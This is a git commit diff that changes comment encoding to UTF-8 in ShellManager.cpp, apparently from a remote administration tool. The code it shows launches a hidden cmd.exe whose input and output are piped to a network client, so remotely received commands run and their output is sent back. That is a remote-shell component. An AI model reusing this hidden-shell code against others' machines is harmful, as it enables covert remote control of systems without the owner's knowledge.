style: Change files encoding format to UTF8-BOM

This commit is contained in:
yuanyuanxiang
2026-01-02 20:00:18 +01:00
parent ba9be08411
commit b6af9ce615
356 changed files with 2819 additions and 2819 deletions

View File

@@ -1,4 +1,4 @@
// ShellManager.cpp: implementation of the CShellManager class.
// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
@@ -16,17 +16,17 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
m_nCmdLength = 0;
m_bStarting = TRUE;
m_hThreadRead = NULL;
m_hShellProcessHandle = NULL; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<EFBFBD><EFBFBD><EFBFBD>̵Ľ<EFBFBD><EFBFBD>̾<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<EFBFBD><EFBFBD><EFBFBD>
m_hShellProcessHandle = NULL; //保存Cmd进程的进程句柄和主线程句柄
m_hShellThreadHandle = NULL;
SECURITY_ATTRIBUTES sa = {0};
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE; //<EFBFBD><EFBFBD>Ҫ
sa.bInheritHandle = TRUE; //重要
m_hReadPipeHandle = NULL; //client
m_hWritePipeHandle = NULL; //client
m_hReadPipeShell = NULL; //cmd
m_hWritePipeShell = NULL; //cmd
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD>
//创建管道
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)) {
if(m_hReadPipeHandle != NULL) {
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
@@ -51,13 +51,13 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
return;
}
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd FullPath
//获得Cmd FullPath
char strShellPath[MAX_PATH] = {0};
GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32
//C:\windows\system32\cmd.exe
strcat(strShellPath,"\\cmd.exe");
//1 Cmd Input Output Ҫ<EFBFBD>͹ܵ<EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><EFBFBD>
//1 Cmd Input Output 要和管道对应上
//2 Cmd Hide
STARTUPINFO si = {0};
@@ -66,16 +66,16 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi));
si.cb = sizeof(STARTUPINFO); //<EFBFBD><EFBFBD>Ҫ
si.cb = sizeof(STARTUPINFO); //重要
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell; //<EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><EFBFBD><EFBFBD>ֵ
si.hStdInput = m_hReadPipeShell; //将管道赋值
si.hStdOutput = si.hStdError = m_hWritePipeShell;
si.wShowWindow = SW_HIDE;
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//3 <EFBFBD>̳<EFBFBD>
//启动Cmd进程
//3 继承
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
@@ -90,7 +90,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
return;
}
m_hShellProcessHandle = pi.hProcess; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<EFBFBD><EFBFBD><EFBFBD>̵Ľ<EFBFBD><EFBFBD>̾<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<EFBFBD><EFBFBD><EFBFBD>
m_hShellProcessHandle = pi.hProcess; //保存Cmd进程的进程句柄和主线程句柄
m_hShellThreadHandle = pi.hThread;
BYTE bToken = TOKEN_SHELL_START;
@@ -110,15 +110,15 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
CShellManager *This = (CShellManager*)lParam;
while (This->m_bStarting) {
Sleep(100);
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD>Ƕ<EFBFBD><C7B6><EFBFBD>
while (PeekNamedPipe(This->m_hReadPipeHandle, //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//这里检测是否有数据 数据的大小是多少
while (PeekNamedPipe(This->m_hReadPipeHandle, //不是阻塞
szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL)) {
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><EFBFBD>
//如果没有数据就跳出本本次循环
if (dwReturn <= 0)
break;
memset(szBuffer, 0, sizeof(szBuffer));
LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);
//<EFBFBD><EFBFBD>ȡ<EFBFBD>ܵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//读取管道数据
ReadFile(This->m_hReadPipeHandle,
szTotalBuffer, dwTotal, &dwReturn, NULL);
#ifdef _DEBUG
@@ -134,7 +134,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
}
SAFE_CLOSE_HANDLE(This->m_hThreadRead);
This->m_hThreadRead = NULL;
Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n");
Mprintf("ReadPipe线程退出\n");
return 0;
}
@@ -146,7 +146,7 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
default: {
m_nCmdLength = (ulLength - 2);// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>"\r\n"
m_nCmdLength = (ulLength - 2);// 不含"\r\n"
unsigned long dwReturn = 0;
WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL);
break;
@@ -158,8 +158,8 @@ CShellManager::~CShellManager()
{
m_bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TerminateThread(m_hShellThreadHandle, 0); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<EFBFBD>߳<EFBFBD>
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
Sleep(100);
if (m_hReadPipeHandle != NULL) {